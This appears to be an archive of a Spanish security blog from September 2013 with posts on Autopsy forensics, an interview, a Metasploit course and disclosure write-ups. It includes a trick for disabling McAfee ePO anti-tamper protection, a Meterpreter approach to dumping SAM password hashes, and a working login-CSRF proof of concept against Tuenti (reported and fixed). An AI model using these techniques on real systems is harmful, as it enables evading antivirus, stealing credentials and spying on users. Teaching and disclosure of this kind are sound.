  • Jose Luis Verdeguer (@pepeluxx)
  • Juan Garrido (@tr1ana)
-Despedida y cierre. Organización
--- Comida --
Como veis la calidad de los ponentes no podía ser mejor. Se realizarán en el Salón de actos de la Facultad de Económicas de Albacete. Campus Universitario de Albacete , y el precio de la entrada es de 30€. Para más información podéis acceder al registro desde aquí.Nosotros este año no podremos acercarnos por temas laborales, asi que os deseamos mucha suerte a los que estéis por allí.¡Disfrutadlas!

viernes, 20 de septiembre de 2013

Herramientas forense para ser un buen CSI. Parte XXXVI: Autopsy 3 (Parte II)

Compartir este artículo:
Buenas a todos, estamos hoy de vuelta para seguir hablando de Autopsy 3 y continuar por donde lo dejamos, analizando el disco que abrimos con Autopsy.

Como veis la herramienta nos permite visualizar rápidamente los archivos y demás información contenida en el disco, clasificándola en función de su tipología. Por ejemplo, tendremos un apartado en el que nos listará los dispositivos que han sido conectados:

De igual manera es capaz de listar las cookies almacenadas de los navegadores, muy útil para averiguar por que sites ha navegado el sospechoso recientemente:

La herramienta también es capaz de listar las direcciones de correo que encuentre en el disco, así como indicar el numero de apariciones de cada una de ellas:

Y por supuesto, como ya hacía FTK Imager, es capaz de listar imágenes del disco, devolvernos toda su información asociada, y previsualizarla:

Esto mismo puede hacerlo no solo con imágenes, sino también con videos, audio, archivos comprimidos, documentos de varios tipos e incluso ejecutables:

Un detalle que me ha gustado mucho, es la comodidad de poder reproducir y visualizar los archivos, aunque se traten de vídeos:

Una vez realizado el análisis podremos exportarlo a distintos formatos:

En nuestro caso hemos exportado la investigación a HTML, y nos genera un bonito informe con la información principal representada en formato de arbol de enlaces y tablas:

Eso es todo por hoy, seguro que añadís la nueva versión de Autopsy a vuestro catálogo de utilidades forenses :)

Saludos!

jueves, 19 de septiembre de 2013

Desinstalando la ePO de McAfee durante una auditoría de seguridad

Compartir este artículo:

Buenas a todos, hace ya bastante tiempo desde que me encontré por primera vez con una ePO de McAfee en un proceso de Auditoría Interna de seguridad. Por aquel entonces no sabía mucho más de ella que era un antivirus bastante puñetero a la hora de usar Cain & Abel, y otras herramientas de dopaje similar. Hoy en día es una de las consolas de antivirus centralizadas mas extendidas en el mercado a nivel corporativo. No voy entrar a comparar si ePO es mejor o peor que otras consolas del mercado, cada una tiene sus pros y sus contras, pero si que me gustaría enseñaros un pequeño truco para enfrentaros a ePO cuando os de algún que otro problema detectando vuestro arsenal de herramientas H4k3r5.

Cada vez que se instala un agente ePO en un puesto de usuario, se añade una protección que impide que el usuario pueda desactivarla y desinstalarla, si no cuenta con permisos de administración de ePO, ¿Cómo debe de ser no?

Sin embargo, para uso principalmente de administración (y otros que nosotros le vamos a dar...), existe un programa llamado frminst y que se encuentra en la ruta "C:\Program Files (x86)\McAfee\Common Framework", dentro de la raíz de McAfee.

Este programa nos permite ejecutar una serie de instrucciones que os procedo a listar a continuación:

Como ya intuiréis, entre sus opciones se encuentra la de desinstalar el agente, que en realidad lo que hace es desactivar la protección que impide que sea desinstalado desde el Panel de Control. Para ello simplemente tendremos que hacer uso del parámetro "/remove=agent":

Una vez terminado el proceso, ya podréis desinstalar el agente ePO y proseguir con la auditoría :)

Saludos!

miércoles, 18 de septiembre de 2013

Meterpreter Scripts: Enumeración de hashes

Compartir este artículo:

Hoy seguimos con el desarrollo de scripts y manejo de la API en Meterpreter. A través del IRB vamos aprendiendo que nos ofrece la API de este payload, sabiendo que existe un comando que se llama hashdump, ¿Podremos obtener el listado de usuarios y los hashes de éstos? El objeto client dispone de una clase priv, la cual al obtener los métodos se observa uno denominado sam_hashes. Este método nos devuelve un array con el listado de usuarios:identificador:hashLM:hashNT.

Vamos a listar esta información de manera un poco más atractiva. Almancemanos el array en una variable llamada hashes, para después iterar sobre ese array sacando cada fila a una variable auxiliar. Hay que darse cuenta que una vez tenemos cada fila, gracias al each y la variable auxiliar, utilizaremos el método split para crear un array separando los elementos que se separan por los ":". De este modo, podremos acceder directamente solo a los campos que nos interesen, por ejemplo, usuarios, LMHash o NTHash...

Hay que tener claro que para poder acceder a esta información debemos tener privilegios adecuados, por lo que si en la sesión de Meterpreter somos un usuario normal, no podremos acceder a dicha información por lo que podemos probar antes de lanzar el método sam_hashes, por el getuid, y en función de éste lanzar el método que queremos. Para ello utilizaremos una expresión regular para comprobar si aparece SYSTEM tras ejecutar getuid.

En otra ocasión podemos hacer un breve script juntando, y vistiendo más bonito, todos los conceptos aquí especificados. ¿Cómo vais con Ruby? :D

martes, 17 de septiembre de 2013

Herramientas forense para ser un buen CSI. Parte XXXV: Autopsy 3 (Parte I)

Compartir este artículo:

Buenas a todos, como muchos ya sabréis, este verano ha sido publicada la versión 3 de Autopsy, uno de los software más utilizados por los Analistas Forenses a la hora de analizar un disco duro.

Esta nueva versión ha cambiado totalmente el concepto de presentar la información y ha ganado enteros en simplificación, facilidad de uso y una cosa muy importante y que en muchas ocasiones dejamos de lado, diseño.

A nivel técnico tiene también cambios interesantes que procedo a listaros a continuación:

  • File system analysis and recovery using The Sleuth Kit™, which has support for NTFS, FAT, Ext2/3/4, Yaffs2, UFS, HFS+, ISO9660

  • Indexed Keyword Search using Apache SOLR (More…)

  • Hash database support for EnCase, NSRL, and HashKeeper hashsets.

  • Registry analysis using RegRipper

  • Web browser analysis for Firefox, Chrome, Safari, and IE including automated discovery of bookmarks, history, and web searches

  • Thumbnail views and video playback

  • MBOX Email analysis

  • Visual Timeline analysis (More…)

  • Tagging and Reporting in HTML and Excel

  • Coming Soon: 64-bit support and Scalpel integration for carving

Como veréis a continuación, Autopsy 3 a nivel visual es muy parecida a FTK Imager. Ambas nos permitirán abrir una clonación de un disco duro y visualizar su contenido como un explorador de Windows, pero además Autopsy 3 ha hecho mucho hincapié en facilitar el acceso a la información recuperada y nos muestra un listado muy cómodo de archivos recuperados, que nos permitirá visualizar e incluso reproducir sin salir de la herramienta.

A pesar de todos estos cambios, Autopsy 3 continúa siendo libre, y podéis acceder a sus fuentes y binarios desde el siguiente enlace:

https://github.com/sleuthkit/autopsy

La instalación de Autopsy 3 en Windows no os generará ningún problema, ya que se basa en el clásico "siguiente, siguiente...".

Una vez instalada, haremos doble clic sobre su icono y comenzará a cargarnos los distintos módulos que contiene:

El siguiente paso será pulsar sobre "Create New Case":

Ahora introduciremos el nombre del caso y seleccionaremos la ruta donde se almacenará toda la información de configuración y reportes que generará la herramienta:

Ahora indicaremos el número del caso y el nombre del investigador forense:

Finalmente nos falta lo más importante, seleccionar el origen de la información, donde podremos seleccionar discos tanto en formatos de imagen, como en discos duros físicos mapeados:

El siguiente paso es seleccionar el tipo de archivos que intentará extraer:

 Si todo ha ido bien veremos la siguiente ventana:

Tras finalizar el análisis nos presentará la información recuperada:

En el próximo post de la cadena Herramientas forense para ser un buen CSI destriparemos la herramienta y analizaremos toda la información que ha sido capaz de recuperar en nuestra investigación.

Saludos!

lunes, 16 de septiembre de 2013

Entrevista a Marc Rivero López, AKA Seifreed

Compartir este artículo:

Hoy tengo el placer de entrevistar a un amigo especial en el mundo de la seguridad, mi buen amigo Marc Rivero. A Marc le conocí en una de mis primeras charlas, en una gira Up To Secure que Chema Alonso me llevó, dónde hablaba de Malware en Mac OS X, allá por Enero 2011. Le pregunté ¿Conoces Flu Project? Él dijo "buaaah esa página bla blab bla..." a lo que yo contesté es mía... "ah siii? entonces la miraré más!". Después fui conociendo a este joven y, al final uno hace amistad. Eso si, me debes un paseo por BCN :D Os dejo con la entrevista...

1. Para el que no te conozca, que creo que habrá muy pocos en este blog que al leer esta entrevista no te conozcan, ¿Quién es Marc Rivero, AKA Seifreed?

Pues Marc es un chaval de Barcelona, que le encanta esto de la informática, que hace unos años que se dedica a la seguridad y que le encanta estar al día, probar cosas nuevas etc..

Fuera de la informática soy un amante del Heavy Metal, toco la batería en un grupo de rock, participo como director musical en una entidad de cultura popular, doy conferencias por ahí.. En fin, que no tengo tiempo para aburrirme.

2. Esta pregunta quería hacértela desde hace tiempo, ¿Por qué del Barcelona? ¿Por qué? ;)

Quien sabe de fútbol, sabe que Crisitiano Ronalo es el mejor jugador del mundo. Pero es que Messi, es el mejor jugador del Universo.Y no hay nadie que juegue como el Barcelona, ya lo sabes Pablo :P

3. Vamos a temas más interesantes, ¿Cuál fue tu primer contacto con el mundo de la seguridad? ¿Qué es lo que más te gustaba cuando empezaste?

Mi primer contacto fue una asociación que montamos entre unos amigos. Se llamaba Badiatech, y hacíamos proyectos muy chulos, pero la asociación acabó muriendo. Y el primer contacto profesional fue cuando empecé a trabajar en S21Sec como analista ecrime, analizando malware, investigando  incidentes de seguridad etc..

De cuando empecé lo que mas me gustaba es que todo era "UAUUUUU". Parecía un niño abriendo regalos a cada feed que incorporaba en mi difunto Google reader. Al principio quieres ser un 10 en todo. Luego te das cuenta de que no es posible, y que te has de focalizar en X materias.

4. Puedes decirnos cuanto tiempo llevas en el mundo de la seguridad, o ¿Una dama nunca debe hablar de años?

Bueno, no me pondré quisquilloso XDD. Llevo unos 5 años, unos de ellos dedicándome profesionalmente.

5. En tu nueva andadura profesional hay mucho de investigación, cuéntanos un poco que es lo que estás haciendo.

Pues en la nueva empresa ha cambiado mucho mi forma de trabajar. Todos los centros de investigación, tienen dentro de sus metas el poder tener una idea que puedan sacar a mercado antes que nadie. Una idea que sea innovadora y que solucione un problema actual o futuro. Básicamente lo defino en estos puntos.

Tareas de investigación, análisis y desarrollo en soluciones de seguridad en entornos cibercrimen, malware y economía underground, Diseño e implementación de modelos de explotación de información de amenazas en Big Data Investigación y creación de inteligencia en cibercrimen, Informes de inteligencia Investigación en Botnets Desarrollo de proyectos europeos de investigación

6. ¿Qué recuerdos guardas de S21Sec?

Pues ha sido una de las mejores etapas profesionales que he tenido. Tuve la suerte de tener un jefe, Dani Creus, que me acompaño de la mano durante mucho tiempo en la empresa enseñandome muchas de las cosas que se hoy en día. De echo aun ya no trabajando en la misma empresa seguimos haciendo proyectos juntos. Dimos una charla en la NcN, en la Owasp etc..

De S21Sec me quedo con el equipo de trabajo profesionales como la copa de un pino etc.. Es una empresa de la que puedes aprender mucho.

7. Si tuvieras que recomendar algún libro de seguridad a alguien que está empezando ¿Cuál sería?

Pues.. buena pregunta. Creo que una "novela" como Hacker Épico, puede ser una buena opción. Da una visión a modo de historia que seguro que engancha a mas de uno.

8. Como siempre hacemos a los entrevistados, ¿Qué opinas de Flu Project? Recuerda que tu eres... ¿Staff? ;)

Porque pones Staff entre signos de interrogación? xDDD.

Ya se que deberíamos hacer alguna reunión Tu, Juanan y yo para empezar ha hacer cosas XDD. Creo que Flu Project es un proyecto de la ostia. Del que además pueden acabar existiendo diversos spin-off con proyectos similares. Es una idea excelente, además no solo se ha quedado con el proyecto Flu sino que se ha convertido en una comunidad de referencia en temas de seguridad.

9. Como sabemos tu implicación anterior en la NcN y este año andarás por allí, ¿Qué opinas de la edición de este año? Ponentes, talleres...

Pues los ponentes muchas caras nuevas, parece ser que la NcN ha apostado por gente nueva veremos que tal las ponencias. En cuanto a los talleres la verdad es que muy buenos todos, yo los pagaría todos! XD

10. Por último, y como siempre, ¿Qué persona te gustaría que entrevistásemos en Flu Project, y  por qué?

Pues a Dani Creus, y además elegiría las preguntas minuciosamente, sin duda. Creo que será una entrevista que sorprenderá a mas de uno/a.

Gracias Marc! :D

domingo, 15 de septiembre de 2013

Informe Flu – 141

Compartir este artículo:

Como cada semana nos encontramos ante nuestros “Enlaces de la semana”. Lo que ha ocurrido durante la semana en Flu Project ha sido lo siguiente:

Lunes 9 de Septiembre

  • El lunes Pablo nos habló de algunas de las funcionalidades de FastTrack.

Martes 10 de Septiembre

  • El martes Pablo nos hablaba del nuevo proyecto HighSecCON I. ¡Suerte chic@s!

Miércoles 11 de Septiembre

Jueves 12 de Septiembre

Viernes 13 de Septiembre

Sabado 14 de Septiembre

sábado, 14 de septiembre de 2013

Las tazas del Colacao... o NesquiK!

Compartir este artículo:

Hoy reservamos el Sabado para un anuncio en Flu Project. Muchos de vosotros habéis visto las tazas de Flu por algunos eventos, siempre estos chicos con las cajas a cuestas. Hoy queremos ofertarlas en la web para vosotros e indicaros que podéis tomar un colacao en la taza de Flu. Con estas tazas se ayuda al proyecto a seguir subsistiendo, y que las ganas no decaigan, que eso seguro que no ocurre. Camino de 3 años Flu Project se ha convertido en una comunidad de seguridad donde la gente aprende, y aporta conocimiento sin esperar nada. Se ha convertido en una forma de enseñar, didácticamente, con total normalidad, con ganas de estar en contacto con la gente. Seguro que el 29 de Diciembre de 2013 os afirmamos que Flu Project cumple 3 años y que seguiremos con vosotros, al menos otro año más.

Las tazas de Flu bajan su precio y se sitúan en 5 € la taza. Así que si tenéis la suerte de estar cerca de Juanan, digo esto porque es el mayor vendedor de tazas de Flu del mundo, no dudéis en pedirle vuestra taza, vale lo mismo para un colacao que para un Santa Teresa con coca cola... Really? yes! Bien, deciros que la taza vale 5 € más gastos de envío, los cuales podéis preguntar vía correo electrónico info@flu-project.com. También podéis preguntar por camisetas, ya que alguna queda. El precio de la camiseta es de 5 € más gastos de envío, pregunta por tu talla.

Ahora os dejamos un serie de artículos, que son de lo más visitados en Flu Project en los últimos tiempos:

Queremos agradeceros vuestro respaldo y por eso os damos las gracias desde aquí, gracias! :)

viernes, 13 de septiembre de 2013

Recopilación de la cadena Herramientas Forense para ser un buen CSI

Compartir este artículo:
Buenas a todos, sois muchos los que me habéis enviado mensajes y correos pidiéndome una recopilación de los artículos de la cadena Herramientas forense para ser un buen CSI, así como que me anime a escribir un libro sobre dicha temática que englobe herramientas para realizar análisis forense en la mayor parte de los sistemas operativos del mercado. La redacción del libro es algo que se me ha pasado por la cabeza más de una vez y que me encantaría, pero con todos los proyectos que tengo entre manos se me hace imposible trabajar en ello, por lo que por el momento, he decidido recopilar los 35 artículos que hasta ahora llevamos publicados de la cadena Herramientas forense para ser un buen CSI para que podáis disfrutarlos online,
Espero que este artículo os sea de utilidad como lugar de referencia para cuando necesitéis buscar alguna herramienta de análisis forense:

    1. Herramientas forense para ser un buen CSI. Parte I: Systeminfo, netstat y tasklist
    2. Herramientas forense para ser un buen CSI. Parte II: Net statistics, sc y Msinfo32
    3. Herramientas forense para ser un buen CSI. Parte III: Taskmanager, Regedit, Process Monitor y Wireshark
    4. Herramientas forense para ser un buen CSI. Parte IV: Malware
    5. Herramientas forense para ser un buen CSI. Parte V: Process Monitor
    6. Herramientas forense para ser un buen CSI. Parte VI: Wireshark
    7. Herramientas forense para ser un buen CSI. Parte VII: EASEUS Data Recovery Wizard
    8. Herramientas forense para ser un buen CSI. Parte VIII: Un caso forense sobre una intrusión web
    9. Herramientas forense para ser un buen CSI. Parte IX: Analizando volcados de RAM con Helix y Volatility (1ª parte)
    10. Herramientas forense para ser un buen CSI. Parte IX: Analizando volcados de RAM con Helix y Volatility (2ª parte)
    11. Herramientas forense para ser un buen CSI. Parte X: File Carving
    12. Herramientas forense para ser un buen CSI. Parte XI: Hasheando por la vida
    13. Herramientas forense para ser un buen CSI. Parte XII: Windows Registry Recover
    14. Herramientas forense para ser un buen CSI. Parte XIII: FTK Imager
    15. Herramientas forense para ser un buen CSI. Parte XIV: RecoverMyFiles
    16. Herramientas forense para ser un buen CSI. Parte XV: BinText
    17. Herramientas forense para ser un buen CSI. Parte XVI: HxD y la RAM
    18. Herramientas forense para ser un buen CSI. Parte XVII: Clonación I de II
    19. Herramientas forense para ser un buen CSI. Parte XVIII: Clonación II de II
    20. Herramientas forense para ser un buen CSI. Parte XIX: Clonación en Android I de III
    21. Herramientas forense para ser un buen CSI. Parte XX: Clonación en Android II de III
    22. Herramientas forense para ser un buen CSI. Parte XXI: Clonación en Android III de III
    23. Herramientas forense para ser un buen CSI. Parte XXII: Forense en WhatsApp I de II
    24. Herramientas forense para ser un buen CSI. Parte XXIII: Forense en WhatsApp II de II
    25. Herramientas forense para ser un buen CSI. Parte XXIV: Forense en SIM I de IV
    26. Herramientas forense para ser un buen CSI. Parte XXV: Forense en SIM II de IV
    27. Herramientas forense para ser un buen CSI. Parte XXVI: Forense en SIM III de IV
    28. Herramientas forense para ser un buen CSI. Parte XXVII: Forense en SIM IV de IV
    29. Herramientas forense para ser un buen CSI. Parte XXVIII: Análisis Forense de navegadores GPS Tomtom (I de IV)
    30. Herramientas forense para ser un buen CSI. Parte XXIX: Análisis Forense de navegadores GPS Tomtom (II de IV)
    31. Herramientas forense para ser un buen CSI. Parte XXX: Análisis Forense de navegadores GPS Tomtom (III de IV)
    32. Herramientas forense para ser un buen CSI. Parte XXXI: Análisis Forense de navegadores GPS Tomtom (IV de IV)
    33. Herramientas forense para ser un buen CSI. Parte XXXII: Metadatos
    34. Herramientas forense para ser un buen CSI. Parte XXXIII: Recuperando WiFis
    35. Herramientas forense para ser un buen CSI. Parte XXXIV: Recuperando el Software instalado
    Saludos!

    jueves, 12 de septiembre de 2013

    Apúntate ya al curso de Metasploit Labs Pentesting de la NcN 2013

    Compartir este artículo:

    En la pasada RootedCon 2013 tuve el placer de dar dos RootedLabs, el primero de ellos fue el de Hacking & Forensic de iOS, junto a Chema Alonso, el segundo fue el de Metasploit y pentesting. La experiencia fue muy gratificante y aunque son cursos muy intensos, ya que al final pasamos el día entero con la gente y es un gran número de horas, la verdad que la experiencia merece la pena. Por esta razón, hablando con Nico, presidente de NcN, le propusimos nuevos talleres para esta nueva edición, al cual Nico, y agradezco desde aquí, nos dió total confianza desde el principio.

    Como cada año el próximo mes de Noviembre se celebra una nueva edición del congreso No cON Name, el más antiguo a nivel nacional y uno de los mejores a nivel europeo, en el que se dan cita profesionales del mundo de la seguridad de la información para compartir sus conocimientos con otros miembros de la comunidad. Recordamos desde aquí nuestra experiencia en NcN 2011, de la cual guardo grandes recuerdos.

    Este año, en NcN 2013 tengo el placer de dar el taller de Metasploit Labs Pentesting. El curso es de un día de duración (8 horas), se celebrará el 31 de octubre de 9:30 a 20:00h, y a lo largo de él tendréis la oportunidad de aprender los siguientes contenidos:

    • Introducción al Framework
      • Fases del test
      • Arquitectura
      • Módulos
      • Adición de componentes al framework
      • Comandos básicos
    • Los preliminares
      • Módulos Auxiliary
        • Escáneres de servicios
        • Fuerza bruta
      • Escáneres: Importación de información a Metasploit
        • Nessus
    • Exploiting & Payloads
      • Tipos de payloads
        • Inline
        • Stagers
        • Stage
      • Intrusión sin interacción
        • La primera vez
        • DOS por desactualización
      • Intrusión con interacción
        • Ataque dirigido: Concepto
        • Ataque dirigido: Internet
      • Servidores Rogue
        • DNS
        • DHCP
    • Post-Explotación
      • Funcionalidades
        • Recolección de información y ámbito
      • Módulos de Meterpreter
        • ¿Qué me permite?
        • ¿Qué puedo hacer yo?
      • Pass the hash
      • Persistencia de payloads
      • Pivoting
        • Port Forward
      • Volcados remotos
    • Herramientas del framework
      • Msfpayload
        • Generar shellcodes
        • Creación ejecutables
        • Estudio bypass AV
      • Msfcli
        • Recursos
        • Exploit/multi/handler
      • Msfencode
        • Bypass AV
        • Inyección DLLs
        • Creación ejecutables
      • Msfvenom
        • Msfpayload + msfcli
      • Msfd
    • Metasploit Avanzado
      • Generación de módulos
        • Creación de módulos
      • Generación de scripts para Meterpreter
        • Creación de un módulo básico para Meterpreter
      • Railgun

    El objetivo del taller es disponer de una visión global de Metasploit Framework, conocimiento sobre la utilización de herramientas que ayudan a Metasploit y al pentester en su tarea, conocer la arquitectura del framework, distintas etapas de un test de intrusión donde participa Metasploit (gathering, exploiting, post-exploiting) y desarrollo de nuestras primeras pruebas de desarrollo con Ruby

    Este curso va enfocado, tanto a la persona que empieza en el mundo del pentesting, como la persona que lleva años, pero no conoce a Metasploit en todos sus ámbitos. Metasploit es un framework que permite al usuario realizar una gran cantidad de acciones, con fines enfocados a la auditoría, por lo que si eres novato o veterano y quieres aprender a utilizar este framework, este es tu curso.

    El precio del curso es de 200€ e incluye desayuno y bufet libre. Además, aprovecho para recordaros que la inscripción y pago de todas las formaciones de la NcN incluyen la entrada gratuita al Congreso No cON Name edición 2013. También comentaros que habrá sorpresas (en forma de regalo...) durante el curso.

    Para más información acerca de ésta y otras formaciones:

    http://noconname.org/evento/

    Para cualquier duda acerca de los contenidos del curso podéis contactarme en:
    • Email personal: pablo[arroba]flu-project.com
    • Email corporativo: pablo.gonzalez[arroba]11paths.com
    • Twitter: @pablogonzalezpe
      

    miércoles, 11 de septiembre de 2013

    Login y ataques CSRF: Espiando a un usuario en Tuenti

    Compartir este artículo:
    Si alguien se pregunta para qué iba a querer usar un ataque CSRF para forzar a un usuario a loguearse en una cuenta de mi propiedad de la que ya poseo las credenciales, espero que este post pueda despejar sus dudas. El pasado mes de julio reporté esta vulnerabilidad a Tuenti (ya solucionada), por lo que fui incluido como agradecimiento en su Hall of Fame.
    El ejemplo más sencillo de este tipo de ataques lo podíamos encontrar con Google, cuyo equipo hace tiempo que solucionó el problema en todos sus servicios de login. Entre las opciones de configuración del buscador se encuentra "Activar historial web" que se encarga de almacenar todas nuestras búsquedas cuando estamos dentro de una sesión. Imaginemos a un atacante cuya intención es trazar la personalidad, las aficiones, intereses, etc. de su víctima en base al uso que hace del buscador. Si el atacante es capaz de loguear a la víctima en una sesión cualquiera de Google que tenga esta opción activada, sólo tendrá que esperar a que el usuario realice sus búsquedas normalmente para luego entrar en la cuenta y espiar el historial generado.
    Dependiendo de la naturaleza de la aplicación web, el ataque puede necesitar algún punto de apoyo y tener distintas consecuencias. En una red social como Tuenti, si nos lo curramos un poco, se pueden llegar a espiar mensajes privados, peticiones de amistad, publicaciones privadas, etc.Como no hay mejor explicación que una prueba de concepto, aquí van los pasos para reproducir el ataque con vídeo incluido (se distinguirá mejor si subís la calidad a "HD"):

    1. El atacante modifica el perfil de una cuenta cualquiera (fakeaccount@gmail.com) imitando el perfil de la víctima. Este es el punto de apoyo del que hablábamos anteriormente. Se podría imitar superficialmente con el nombre, foto de perfil, etc., o con más detalle usando contactos falsos, álbumes, intereses, eventos... Todo depende del grado de interés del atacante.

    2. El atacante crea una página web que fuerza automáticamente un logueo en Tuenti usando la cuenta falsa. Para ello, aprovecha que el sistema de login es vulnerable a CSRF y no incluye la validación habitual de un token aleatorio que evite una autenticación desde una página externa. Por otra parte, apunta el target del formulario hacia un iframe oculto para que el acceso se produzca de forma silenciosa:
    <form name="evilForm" id="evilForm" method="POST" 
        action="https://secure.tuenti.com/?m=Login&func=do_login" target="hiddenIFrame">
        <input type="hidden" name="email" value="fakeaccount@gmail.com" />
        <input type="hidden" name="input_password" value="12341234" />
    </form>
    
    <iframe name="hiddenIFrame" src="" id="hiddenIFrame" width="0" height="0" style="visibility:hidden">
    </iframe> 
    
    <script>
        document.forms[0].submit();
    </script>
    3. El atacante convence a la víctima para visitar la página anterior y le sugiere realizar alguna acción en Tuenti.

    4. La víctima visita la página, lo que fuerza un logueo silencioso en la cuenta falsa.

    5. Posteriormente, la víctima visita Tuenti para realizar alguna acción. Al haber sido ya logueada en el paso anterior, no se le solicitarán sus credenciales.

    6. Al cabo de un tiempo, el atacante entra en la cuenta falsa y espía las acciones que ha realizado la víctima.

    Por supuesto, la víctima puede llegar a notar que echa de menos mensajes y demás recursos dependiendo de lo minucioso que haya sido el atacante al clonar el perfil y de la información que disponga de él. Sin embargo, os aseguro que lo habitual es que un usuario medio siga realizando acciones sin alarmarse demasiado, atribuyendo la falta a algún error puntual. Más aún si lo mantenemos entretenido en una conversación con algún contacto falso que hayamos añadido a la cuenta clonada.
    Quiero dar mi enhorabuena al equipo de Tuenti, ya que después de recibir la notificación solucionó el problema en menos de 24 horas añadiendo la validación del token aleatorio en el formulario de acceso:
    <input type="hidden" name="csfr" value="2a996033">
    ¡No marginéis a vuestros sistemas de login a la hora de protegerlos contra ataques CSRF!¡Saludos!
    Contribución de José Rabal Sastre